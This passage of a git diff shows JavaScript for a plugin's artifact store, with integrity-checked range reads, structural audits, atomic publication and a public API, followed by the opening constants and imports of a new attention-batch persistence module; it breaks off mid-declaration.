await openStoredFile(locations.contentTarget); + if (probe !== null) { + await probe.close().catch(() => {}); + failStore('artifact_torn_publication', 'content', + 'Content exists without its sidecar; the publication is torn.'); + } + failStore('artifact_not_found', 'artifact_ref', 'No stored artifact exists for that reference.'); + } + const storedSnapshot = parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + if (canonicalSnapshotText(storedSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(storedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + if (storedSnapshot.artifact_class !== 'sanitized') { + failStore('raw_artifact_denied', 'artifact_ref.artifact_class', + 'Stored raw evidence is not returned by the sanitized range reader.'); + } + + const cap = maxByteLengthForClass(storedSnapshot.artifact_class); + const opened = await openPublishedContent(locations.contentTarget, cap); + if (opened === null) { + failStore('artifact_torn_publication', 'content', + 'A sidecar exists without content; the publication is torn.'); + } + try { + const before = await opened.handle.stat(); + assertRegularUnsharedFile(before, 'content'); + const size = Number(before.size); + if (!NUMBER_IS_SAFE_INTEGER(size) || size !== storedSnapshot.byte_length) { + failStore('artifact_length_mismatch', 'content', + 'Stored content length does not match the declared byte length.'); + } + if (offset > size) { + failStore('out_of_range', 'offset', + 'The requested range offset is past the end of the stored artifact.'); + } + const remaining = size - offset; + const take = maxBytes < remaining ? maxBytes : remaining; + const selected = BUFFER_ALLOC(take); + const hash = CREATE_HASH('sha256'); + let received = 0; + let filled = 0; + const chunk = BUFFER_ALLOC(ARTIFACT_STORE_INGEST_CHUNK_BYTES); + while (true) { + let read; + try { + read = await opened.handle.read(chunk, 0, chunk.byteLength, null); + } catch { + failStore('artifact_entry_unsafe', 'content', 'Stored artifact bytes could not be read safely.'); + } + if (read.bytesRead === 0) break; + received += read.bytesRead; + if (received > cap) { + failStore('artifact_entry_unsafe', 'content', + `Stored content exceeds the ${cap}-byte class cap.`); + } + const view = chunk.subarray(0, read.bytesRead); + hash.update(view); + if (take > 0) { + const chunkStart = received - read.bytesRead; + const selEnd = offset + take; + const copyFrom = chunkStart > offset ? chunkStart : offset; + const chunkEnd = chunkStart + read.bytesRead; + const copyTo = chunkEnd < selEnd ? chunkEnd : selEnd; + if (copyTo > copyFrom) { + const src = copyFrom - chunkStart; + const dest = copyFrom - offset; + const len = copyTo - copyFrom; + UINT8ARRAY_SET.call(selected, view.subarray(src, src + len), dest); + filled += len; + } + } + } + if (received !== size || filled !== take) { + failStore('artifact_length_mismatch', 'content', + 'Stored content length does not match the declared byte length.'); + } + const digest = hash.digest('hex'); + if (!digestsMatch(digest, storedSnapshot.sha256)) { + failStore('artifact_digest_mismatch', 'content', + 'Stored content does not hash to the declared SHA-256 digest.'); + } + const afterHandle = await opened.handle.stat(); + const afterPath = await lstat(locations.contentTarget).catch(() => undefined); + if (afterPath === undefined + || !sameIdentity(before, afterHandle) + || !sameIdentity(before, afterPath) + || Number(afterHandle.size) !== Number(before.size) + || Number(afterPath.size) !== Number(before.size) + || Number(afterHandle.nlink) !== Number(before.nlink) + || Number(afterPath.nlink) !== 1 + || Number(afterHandle.mode) !== Number(before.mode) + || Number(afterPath.mode) !== Number(before.mode)) { + failStore('artifact_torn_publication', 'content', + 'The stored document changed while it was read.'); + } + const encoded = REFLECT_APPLY(BUFFER_TO_STRING, selected, ['base64']); + return freezeData({ + artifact_ref: storedSnapshot, + byte_length: received, + sha256: digest, + offset, + selected_byte_length: take, + selected_encoding: 'base64', + selected_content: encoded, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + +// ---- Bounded enumeration for audit. -------------------------------------------- + +async function listDirectoryEntries(directory, field) { + let dir; + try { + dir = await opendir(directory, { bufferSize: 16 }); + } catch (error) { + if (error?.code === 'ENOENT') return []; + if (error?.code === 'ELOOP' || error?.code === 'ENOTDIR') { + failStore('artifact_parent_unsafe', field, 'A store tree is not a real directory.'); + } + failStore('artifact_parent_unsafe', field, 'A store directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES) { + failStore('artifact_inventory_exceeded', field, + `Store directories must not exceed ${MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(entry.name); + } + } finally { + await dir.close().catch(() => {}); + } + names.sort(compareStrings); + return names; +} + +function assertLegalEntryName(name, field) { + if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, name)) { + failStore('artifact_torn_temporary', field, + 'A leftover temporary file is not authoritative and is not followed.'); + } + try { + validateArtifactRelativePathV1(name, field); + } catch { + failStore('artifact_foreign_entry', field, + 'A store entry name is not a legal artifact path segment.'); + } +} + +// Depth-first bounded sweep of one tree. Returns the sorted relative paths of +// every regular-file leaf, condemning symlinks, special files, hardlinks, +// reserved temporaries, foreign names, and bound overruns along the way. +async function sweepTree(treeRoot, field, accounting) { + const found = []; + const walk = async (dir, prefix, depth) => { + if (depth > ARTIFACT_STORE_MAX_DEPTH) { + failStore('artifact_inventory_exceeded', field, + `Store trees must not exceed ${ARTIFACT_STORE_MAX_DEPTH} levels of nesting.`); + } + const names = await listDirectoryEntries(dir, field); + for (let index = 0; index < names.length; index += 1) { + const name = names[index]; + assertLegalEntryName(name, field); + const child = PATH_JOIN(dir, name); + const relative = prefix === '' ? name : `${prefix}/${name}`; + const stat = await lstat(child).catch(() => undefined); + if (stat === undefined) { + failStore('artifact_entry_unsafe', field, 'A store entry vanished while it was audited.'); + } + if (stat.isSymbolicLink()) { + failStore('artifact_entry_unsafe', field, 'Store trees must not contain symbolic links.'); + } + if (stat.isDirectory()) { + await walk(child, relative, depth + 1); + continue; + } + if (!stat.isFile()) { + failStore('artifact_entry_unsafe', field, + 'Store trees must contain only regular files and real directories.'); + } + assertRegularUnsharedFile(stat, field); + accounting.files += 1; + if (accounting.files > MAX_ARTIFACT_STORE_AUDIT_FILES) { + failStore('artifact_inventory_exceeded', field, + `A namespace must not exceed ${MAX_ARTIFACT_STORE_AUDIT_FILES} stored files.`); + } + validateArtifactRelativePathV1(relative, field); + found.push(relative); + } + }; + await walk(treeRoot, '', 0); + found.sort(compareStrings); + return found; +} + +// ---- Inventory fingerprint ------------------------------------------------------ + +function inventoryDigestOf(entries) { + const hash = CREATE_HASH('sha256'); + const frame = (bytes) => { + const prefix = BUFFER_ALLOC(4); + prefix.writeUInt32BE(bytes.length, 0); + hash.update(prefix); + hash.update(bytes); + }; + frame(BUFFER_FROM(ARTIFACT_DIGEST_DOMAIN, 'utf8')); + const version = BUFFER_ALLOC(4); + version.writeUInt32BE(ARTIFACT_DIGEST_VERSION, 0); + hash.update(version); + frame(BUFFER_FROM(ARTIFACT_STORE_INVENTORY_LABEL, 'utf8')); + const count = BUFFER_ALLOC(8); + WRITE_BIGUINT64_BE.call(count, BigInt(entries.length), 0); + hash.update(count); + for (let index = 0; index < entries.length; index += 1) { + const entry = entries[index]; + frame(BUFFER_FROM(entry.artifact_class, 'utf8')); + frame(BUFFER_FROM(entry.relative_path, 'utf8')); + const length = BUFFER_ALLOC(8); + WRITE_BIGUINT64_BE.call(length, BigInt(entry.byte_length), 0); + hash.update(length); + frame(BUFFER_FROM(entry.sha256, 'utf8')); + } + return hash.digest('hex'); +} + +// ---- Structural audit (no content streaming). ------------------------------------ + +// Prove the whole tree shape: only the two class namespaces exist; each holds +// only real private content/meta directories; every entry name is a legal +// segment; every leaf is a regular unshared owner-only file; content and +// sidecars pair up exactly; and every sidecar strictly re-parses to the +// reference its location names, with matching content size. +async function structuralAudit(rootPath) { + const perNamespace = capturedCreate(null); + const entries = []; + for (let index = 0; index < ARTIFACT_CLASSES.length; index += 1) { + const artifactClass = ARTIFACT_CLASSES[index]; + const field = artifactClass; + const classDir = PATH_JOIN(rootPath, artifactClass); + const classStat = await lstat(classDir).catch((error) => { + if (error?.code === 'ENOENT') return undefined; + failStore('artifact_parent_unsafe', field, 'A store namespace could not be inspected.'); + }); + if (classStat === undefined) { + perNamespace[artifactClass] = { artifacts: 0, bytes: 0 }; + continue; + } + assertPrivateDirectory(classStat, field, 'namespace'); + const names = await listDirectoryEntries(classDir, field); + for (let nameIndex = 0; nameIndex < names.length; nameIndex += 1) { + const name = names[nameIndex]; + if (name !== ARTIFACT_STORE_CONTENT_DIR && name !== ARTIFACT_STORE_META_DIR) { + if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, name)) { + failStore('artifact_torn_temporary', field, + 'A leftover temporary file is not authoritative and is not followed.'); + } + failStore('artifact_foreign_entry', field, 'A store namespace contains a foreign entry.'); + } + const childStat = await lstat(PATH_JOIN(classDir, name)).catch(() => undefined); + if (childStat === undefined) { + failStore('artifact_parent_unsafe', field, 'A store namespace entry vanished while it was audited.'); + } + assertPrivateDirectory(childStat, field, `namespace ${name}`); + } + const contentDir = PATH_JOIN(classDir, ARTIFACT_STORE_CONTENT_DIR); + const metaDir = PATH_JOIN(classDir, ARTIFACT_STORE_META_DIR); + const accounting = { files: 0 }; + const contentPaths = await lstat(contentDir).then( + () => sweepTree(contentDir, `${field}.content`, accounting), + (error) => { + if (error?.code === 'ENOENT') return []; + failStore('artifact_parent_unsafe', `${field}.content`, 'A content tree could not be inspected.'); + }, + ); + const metaPaths = await lstat(metaDir).then( + () => sweepTree(metaDir, `${field}.meta`, accounting), + (error) => { + if (error?.code === 'ENOENT') return []; + failStore('artifact_parent_unsafe', `${field}.meta`, 'A sidecar tree could not be inspected.'); + }, + ); + const contentSet = new SET_CTOR(contentPaths); + const metaSet = new SET_CTOR(); + for (let metaIndex = 0; metaIndex < metaPaths.length; metaIndex += 1) { + const stripped = metaPaths[metaIndex].replace(/\.json$/u, ''); + validateArtifactRelativePathV1(stripped, `${field}.meta`); + metaSet.add(stripped); + } + if (contentPaths.length !== contentSet.size || metaPaths.length !== metaSet.size) { + failStore('artifact_foreign_entry', field, + 'Two sidecars or two content files claim one artifact location.'); + } + for (let contentIndex = 0; contentIndex < contentPaths.length; contentIndex += 1) { + if (!metaSet.has(contentPaths[contentIndex])) { + failStore('artifact_torn_publication', `${field}.content`, + 'Content exists without its sidecar; the publication is torn.'); + } + } + for (const stripped of metaSet) { + if (!contentSet.has(stripped)) { + failStore('artifact_torn_publication', `${field}.meta`, + 'A sidecar exists without content; the publication is torn.'); + } + } + let namespaceBytes = 0; + for (let contentIndex = 0; contentIndex < contentPaths.length; contentIndex += 1) { + const relative = contentPaths[contentIndex]; + const locations = namespaceLocations(rootPath, artifactClass, relative); + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, + `${field}.meta`); + if (metaOpened === null) { + failStore('artifact_torn_publication', `${field}.meta`, + 'A sidecar disappeared while the store was audited.'); + } + const snapshot = parseMetaDocument(metaOpened.bytes, artifactClass, relative, `${field}.meta`); + const stat = await lstat(locations.contentTarget).catch(() => undefined); + if (stat === undefined) { + failStore('artifact_torn_publication', `${field}.content`, + 'Content disappeared while the store was audited.'); + } + assertRegularUnsharedFile(stat, `${field}.content`); + const size = Number(stat.size); + if (size !== snapshot.byte_length || size > maxByteLengthForClass(artifactClass)) { + failStore('artifact_entry_unsafe', `${field}.content`, + 'Stored content size disagrees with its sidecar or exceeds the class cap.'); + } + namespaceBytes += size; + entries.push({ + artifact_class: artifactClass, + relative_path: relative, + byte_length: snapshot.byte_length, + sha256: snapshot.sha256, + }); + } + perNamespace[artifactClass] = { artifacts: contentPaths.length, bytes: namespaceBytes }; + } + entries.sort((left, right) => compareStrings(left.artifact_class, right.artifact_class) + || compareStrings(left.relative_path, right.relative_path)); + return { perNamespace, entries }; +} + +// ---- Publication ----------------------------------------------------------------- + +// Read and fully re-verify whatever authoritative state already occupies this +// location. Refuses torn states instead of healing them. +async function readExistingState(locations, snapshot) { + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); + if (metaOpened === null) { + failStore('artifact_torn_publication', 'meta', + 'Content exists without its sidecar; the store is torn and publication is refused.'); + } + const existingSnapshot = parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + const measured = await measurePublishedContent(locations.contentTarget, existingSnapshot); + return { existingSnapshot, measured }; +} + +function classifyExistingConflict(existingSnapshot, snapshot) { + if (existingSnapshot.byte_length === snapshot.byte_length + && digestsMatch(existingSnapshot.sha256, snapshot.sha256)) { + return 'artifact_metadata_conflict'; + } + return 'artifact_content_conflict'; +} + +async function publishPrepared(root, snapshot, source) { + const locations = namespaceLocations(root.path, snapshot.artifact_class, snapshot.relative_path); + const cap = maxByteLengthForClass(snapshot.artifact_class); + for (let index = 0; index < locations.segments.length; index += 1) { + const segment = locations.segments[index]; + if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, segment) + || capturedTest(PRIVATE_TEMP_NAME_PATTERN, `${segment}${ARTIFACT_STORE_META_SUFFIX}`)) { + failStore('artifact_reserved_name_denied', 'artifact_ref.relative_path', + 'An artifact path may not spell the reserved temporary-name grammar.'); + } + } + + const captures = []; + await ensurePrivateDirectory(PATH_JOIN(root.path, snapshot.artifact_class), captures); + await ensureParentChain(locations.contentBase, locations.segments.slice(0, -1), captures); + await ensureParentChain(locations.metaBase, locations.segments.slice(0, -1), captures); + + // A pre-existing sidecar decides first: identical means this exact + // publication already completed; anything else conflicts before we touch + // content at all. + const preexistingMeta = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, + 'meta'); + if (preexistingMeta !== null) { + const existingSnapshot = parseMetaDocument(preexistingMeta.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + if (canonicalSnapshotText(existingSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(existingSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + await readExistingState(locations, snapshot); + await assertChainUnchanged(captures); + return receiptFor(snapshot, { created: false, byteLength: snapshot.byte_length, + sha256: snapshot.sha256 }); + } + + // Ingest into a private unpredictable same-directory temporary with the + // class cap enforced before each chunk is written. + const contentTemp = await createPrivateTemp(PATH_DIRNAME(locations.contentTarget)); + let metaTemp; + try { + const classified = classifySource(source); + const ingested = await ingestSource(contentTemp.handle, classified, cap, snapshot.byte_length); + if (ingested.received !== snapshot.byte_length) { + failStore('artifact_length_mismatch', 'artifact_ref.byte_length', + 'Actual artifact length does not match the declared byte length; nothing was published.'); + } + if (!digestsMatch(ingested.digest, snapshot.sha256)) { + failStore('artifact_digest_mismatch', 'artifact_ref.sha256', + 'Actual artifact bytes do not hash to the declared SHA-256; nothing was published.'); + } + try { + await contentTemp.handle.sync(); + } catch { + failStore('artifact_stream_failed', 'temporary', + 'The temporary artifact could not be synchronized.'); + } + let tempStat; + try { + tempStat = await lstat(contentTemp.path); + } catch { + failStore('artifact_stream_failed', 'temporary', + 'The temporary artifact disappeared before publication.'); + } + assertRegularUnsharedFile(tempStat, 'temporary'); + if (Number(tempStat.size) !== ingested.received) { + failStore('artifact_stream_failed', 'temporary', 'The temporary write was truncated.'); + } + + const metaBytes = buildMetaBytes(snapshot, ingested.received, ingested.digest); + metaTemp = await createPrivateTemp(PATH_DIRNAME(locations.metaTarget)); + await writeChunk(metaTemp.handle, metaBytes); + await metaTemp.handle.sync(); + await metaTemp.handle.close().catch(() => {}); + + const linked = await exclusiveLink(contentTemp.path, locations.contentTarget); + if (!linked) { + // Competing publication: verify the winner instead of overwriting. + const state = await readExistingState(locations, snapshot); + if (canonicalSnapshotText(state.existingSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(state.existingSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + await assertChainUnchanged(captures); + return receiptFor(snapshot, { created: false, byteLength: snapshot.byte_length, + sha256: snapshot.sha256 }); + } + + const linkedMeta = await exclusiveLink(metaTemp.path, locations.metaTarget); + if (!linkedMeta) { + const racedMeta = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, + 'meta'); + const racedSnapshot = racedMeta === null + ? null + : parseMetaDocument(racedMeta.bytes, snapshot.artifact_class, snapshot.relative_path, 'meta'); + const identical = racedSnapshot !== null + && canonicalSnapshotText(racedSnapshot) === canonicalSnapshotText(snapshot); + if (!identical) { + // Different reference: undo our content link so no authoritative file + // is left without its matching sidecar. The unlink happens only when + // the platform proves the inode is ours. + await rollbackOwnLink(locations.contentTarget, tempStat); + failStore(classifyExistingConflict(racedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + // Identical reference: keep our just-linked content; together with the + // observed sidecar it completes exactly the publication the winner + // already recorded. + await assertChainUnchanged(captures); + return receiptFor(snapshot, { created: false, byteLength: snapshot.byte_length, + sha256: snapshot.sha256 }); + } + + await discardTemp(contentTemp); + await discardTemp(metaTemp); + await syncDirectoryOf(locations.contentTarget); + await syncDirectoryOf(locations.metaTarget); + await assertChainUnchanged(captures); + await provePublication(locations, tempStat); + return receiptFor(snapshot, { created: true, byteLength: ingested.received, + sha256: ingested.digest, tempStat }); + } finally { + await discardTemp(contentTemp); + await discardTemp(metaTemp); + } +} + +function receiptFor(snapshot, facts) { + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifact_ref: snapshot, + namespace: snapshot.artifact_class, + byte_length: facts.byteLength, + sha256: facts.sha256, + ref_digest: artifactRefDigestV1(snapshot, 'artifact_ref').digest, + created: facts.created, + }); +} + +// Re-prove a fresh publication: both public names must still resolve, without +// following links, to exactly the inodes we wrote. +async function provePublication(locations, contentTempStat) { + const contentHandle = await openStoredFile(locations.contentTarget); + if (contentHandle === null) { + failStore('artifact_torn_publication', 'content', 'The published content could not be re-opened.'); + } + try { + const stat = await contentHandle.stat(); + assertRegularUnsharedFile(stat, 'content'); + if (!sameIdentity(stat, contentTempStat)) { + failStore('artifact_parent_swapped', 'content', + 'The published artifact no longer resolves to the published inode.'); + } + } finally { + await contentHandle.close().catch(() => {}); + } + const metaHandle = await openStoredFile(locations.metaTarget); + if (metaHandle === null) { + failStore('artifact_torn_publication', 'meta', 'The published sidecar could not be re-opened.'); + } else { + await metaHandle.close().catch(() => {}); + } +} + +// ---- Public API ----------------------------------------------------------------- + +function withStoreChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = STORE_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (STORE_CHAINS.get(id) === settled) STORE_CHAINS.delete(id); + }); + STORE_CHAINS.set(id, settled); + return current; +} + +// One serialized, structurally audited operation. The root is reopened +// without following links, proven identical to the token, and bracketed +// around the whole body, so every operation observes a structurally sound +// store or fails closed before acting. +async function operate(token, fn) { + return withStoreChain(token, async () => { + const root = await reopenRoot(token); + try { + await structuralAudit(root.path); + return await fn(root); + } finally { + await root.handle.close().catch(() => {}); + } + }); +} + +function assertStoreHandle(store) { + assertPlainObject(store, 'invalid_type', 'store', 'The artifact store handle'); + if (store.schema !== ARTIFACT_STORE_SCHEMA_ID || typeof store.internalOperate !== 'function') { + failStore('invalid_type', 'store', 'The artifact store handle was not produced by this module.'); + } + return store; +} + +export async function openArtifactStoreV1(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The artifact store options'); + assertDirectJsonClosure(input, 'options'); + const keys = sortedCapturedKeys(input); + if (keys.length !== 1 || keys[0] !== 'root') { + failStore('unknown_key', 'options', 'Artifact store options accept exactly one key: root.'); + } + const resolved = assertSafeRootPath(input.root); + const opened = await openRootHandle(resolved); + try { + await structuralAudit(opened.path); + const token = capturedFreeze({ path: opened.path, dev: opened.dev, ino: opened.ino }); + return capturedFreeze({ + schema: ARTIFACT_STORE_SCHEMA_ID, + root: token.path, + namespaces: ARTIFACT_STORE_NAMESPACES, + internalOperate: (fn) => operate(token, fn), + async publish(ref, source) { + return publishArtifactV1(this, ref, source); + }, + async verifyArtifact(ref) { + return verifyStoredArtifactV1(this, ref); + }, + async verifyArtifacts(refs) { + return verifyStoredArtifactsV1(this, refs); + }, + async audit() { + return auditArtifactStoreV1(this); + }, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + +export async function publishArtifactV1(store, refInput, source) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + classifySource(source); + return handle.internalOperate((root) => publishPrepared(root, snapshot, source)); +} + +export async function verifyStoredArtifactV1(store, refInput) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + return handle.internalOperate(async (root) => { + await verifyLocation(root.path, snapshot); + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifact_ref: snapshot, + namespace: snapshot.artifact_class, + byte_length: snapshot.byte_length, + sha256: snapshot.sha256, + verified: true, + }); + }); +} + +export async function verifyStoredArtifactsV1(store, refInputs) { + const handle = assertStoreHandle(store); + const ordered = orderArtifactRefsV1(refInputs, 'artifact_refs'); + const verdicts = []; + for (let index = 0; index < ordered.length; index += 1) { + verdicts.push(await verifyStoredArtifactV1(handle, ordered[index])); + } + return freezeData(verdicts); +} + +export async function readStoredSanitizedRangeV1(store, refInput, offset, maxBytes) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + if (snapshot.artifact_class !== 'sanitized') { + failStore('raw_artifact_denied', 'artifact_ref.artifact_class', + 'The bounded reader accepts only sanitized artifacts; raw evidence is owner-only.'); + } + const start = assertIntrinsicNonNegativeInteger(offset, 'offset', 0, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); + const window = assertIntrinsicNonNegativeInteger(maxBytes, 'max_bytes', 0, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES); + return handle.internalOperate((root) => readSanitizedRangePrepared(root, snapshot, start, window)); +} + +export async function auditArtifactStoreV1(store) { + const handle = assertStoreHandle(store); + return handle.internalOperate(async (root) => { + const structural = await structuralAudit(root.path); + const detailed = []; + let auditedBytes = 0; + for (let index = 0; index < structural.entries.length; index += 1) { + const entry = structural.entries[index]; + const locations = namespaceLocations(root.path, entry.artifact_class, entry.relative_path); + const measured = await measurePublishedContent(locations.contentTarget, { + artifact_class: entry.artifact_class, + byte_length: entry.byte_length, + sha256: entry.sha256, + }); + auditedBytes += measured.received; + if (auditedBytes > MAX_ARTIFACT_STORE_AUDIT_BYTES) { + failStore('artifact_inventory_exceeded', 'audit', + `A single audit must not stream more than ${MAX_ARTIFACT_STORE_AUDIT_BYTES} bytes.`); + } + detailed.push(freezeData({ + artifact_class: entry.artifact_class, + relative_path: entry.relative_path, + byte_length: entry.byte_length, + sha256: entry.sha256, + })); + } + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifacts: detailed.length, + namespaces: freezeData({ + raw: freezeData({ ...structural.perNamespace.raw }), + sanitized: freezeData({ ...structural.perNamespace.sanitized }), + }), + entries: freezeData(detailed), + inventory_digest: inventoryDigestOf(structural.entries), + }); + }); +} + +capturedFreeze(openArtifactStoreV1); +capturedFreeze(publishArtifactV1); +capturedFreeze(verifyStoredArtifactV1); +capturedFreeze(verifyStoredArtifactsV1); +capturedFreeze(readStoredSanitizedRangeV1); +capturedFreeze(auditArtifactStoreV1); diff --git a/plugins/codex-co-engineer/mcp/v3/attention-batch.mjs b/plugins/codex-co-engineer/mcp/v3/attention-batch.mjs new file mode 100644 index 0000000..d448c24 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/attention-batch.mjs @@ -0,0 +1,1779 @@ +// Atomic AttentionBatchV1 persistence (P34; ADR 0001 identifiers +// `attention_batch_v1`, `exact_identities`, `bounded_evidence`, +// `no_post_dispatch_fallback_or_replay`; Gate A +// `gate_a_decision_or_attention_no_silent_unanswerable`). +// +// Additive v3 module. It owns one immutable latched question set per run +// inside a caller-supplied existing private attention root, never under or +// inside accepted P25. The durable file is +// /runs//attention-batch.v1.json +// with 0700 directories, 0600 files, no-follow identity checks, +// same-directory temporary + file fsync + atomic rename + directory fsync, +// and expected_revision CAS. +// +// One reply round is durable before any injected mailbox delivery. Restart +// retries only exact latched identities. Unsupported DSH / Cursor Cloud +// items become unresolved and cancel only the affected lane. Required +// unresolved evidence blocks a complete candidate. Routine progress never +// wakes. This module does not append P25 events, encode questions in +// child_progress.note, invoke a scheduler or provider, compose a candidate, +// expose a server/tool, implement cleanup, or claim Gate A / release. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, mkdir, open, opendir, rename, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + isKnownProvider, + knownProvidersJoined, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + ASSIGNMENT_ID_PATTERN, + RunContractV1Error, + assertRunId, + isAssignmentId, + utf8ByteLength, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; +import { closedObject, snapshotRecord } from './protected-identity.mjs'; + +export const ATTENTION_BATCH_SCHEMA_ID = 'codex-co-engineer.attention-batch.v1'; +export const ATTENTION_BATCH_VERSION = 1; +export const ATTENTION_BATCH_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.attention-batch-receipt.v1'; +export const ATTENTION_BATCH_HASH_DOMAIN = 'codex-co-engineer.attention-batch-hash.v1'; +export const ATTENTION_BATCH_FILE_NAME = 'attention-batch.v1.json'; +export const RUN_JOURNAL_GENESIS_PREV = 'codex-co-engineer.run-journal.genesis.v1'; + +export const ATTENTION_BATCH_RECORD_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'batch_id', 'revision', 'status', + 'source', 'items', 'reply', 'unresolved', +]); +export const ATTENTION_BATCH_STATUSES = capturedFreeze([ + 'open', 'reply_committed', 'resolved', +]); +export const ATTENTION_BATCH_SOURCE_KEYS = capturedFreeze([ + 'journal_revision', 'journal_head_hash', 'task_cursors', +]); +export const ATTENTION_BATCH_TASK_CURSOR_KEYS = capturedFreeze([ + 'assignment_id', 'task_id', 'event_cursor', +]); +export const ATTENTION_BATCH_ITEM_KEYS = capturedFreeze([ + 'assignment_id', 'task_id', 'provider', 'required', 'session_id', + 'question_id', 'event_cursor', 'question_digest', 'prompt', 'options', + 'reply_capability', 'disposition', 'deadline_at', +]); +export const ATTENTION_BATCH_PROVIDERS = capturedFreeze([ + 'grok', 'cursor-local', 'cursor-cloud', 'dsh', +]); +export const ATTENTION_BATCH_REPLY_CAPABILITIES = capturedFreeze([ + 'same_session', 'unsupported', +]); +export const ATTENTION_BATCH_DISPOSITIONS = capturedFreeze([ + 'pending', 'answered', 'unresolved', +]); +export const ATTENTION_BATCH_UNRESOLVED_CODES = capturedFreeze([ + 'same_session_reply_unsupported', + 'late_attention_after_latch', + 'reply_delivery_failed', + 'reply_deadline_expired', + 'safe_cancel_unconfirmed', +]); +export const ATTENTION_BATCH_REPLY_KEYS = capturedFreeze([ + 'answers', 'batch_id', 'round', +]); +export const ATTENTION_BATCH_ANSWER_KEYS = capturedFreeze([ + 'assignment_id', 'question_id', 'response', 'session_id', 'task_id', +]); +export const ATTENTION_BATCH_UNRESOLVED_KEYS = capturedFreeze([ + 'assignment_id', 'code', 'question_id', 'required', 'session_id', 'task_id', +]); + +export const MIN_ATTENTION_ITEMS = 1; +export const MAX_ATTENTION_ITEMS = 8; +export const MAX_ATTENTION_OPTIONS = 8; +export const MAX_ATTENTION_PROMPT_BYTES = 4096; +export const MAX_ATTENTION_OPTION_BYTES = 128; +export const MAX_ATTENTION_RESPONSE_BYTES = 16_384; +export const ATTENTION_REPLY_ROUND = 1; +export const MAX_ATTENTION_BATCH_RECORD_BYTES = 131_072; +export const MAX_ATTENTION_BATCH_DIAGNOSTIC_BYTES = 160; +export const MAX_ATTENTION_RUN_DIRECTORIES = 256; +export const MAX_ATTENTION_DIRECTORY_ENTRIES = 16; +export const MAX_ATTENTION_ROOT_ENTRIES = 8; +export const MAX_ATTENTION_BATCH_TEMPORARIES = 8; +export const MAX_ATTENTION_FILENAME_BYTES = 80; + +export const ATTENTION_BATCH_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'attention_batch_foreign_entry', + 'attention_batch_identity_mismatch', + 'attention_batch_io_failed', + 'attention_batch_not_found', + 'attention_batch_not_regular', + 'attention_batch_path_unsafe', + 'attention_batch_publish_unverified', + 'attention_batch_record_too_large', + 'attention_batch_reply_conflict', + 'attention_batch_revision_conflict', + 'attention_batch_root_missing', + 'attention_batch_root_shared', + 'attention_batch_root_unsafe', + 'attention_batch_too_many_entries', + 'capability_reply_mismatch', + 'duplicate_assignment_id', + 'exotic_prototype_denied', + 'invalid_format', + 'invalid_type', + 'missing_key', + 'own_undefined_denied', + 'out_of_range', + 'proxy_denied', + 'symbol_key_denied', + 'unknown_key', +]); + +const RUNS_NAME = 'runs'; +const RECORD_NAME = ATTENTION_BATCH_FILE_NAME; +const P25_FOREIGN_NAMES = capturedFreeze([ + 'created.json', 'journal.jsonl', 'lock', 'state.json', +]); +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const TASK_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +const SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const QUESTION_ID_PATTERN = 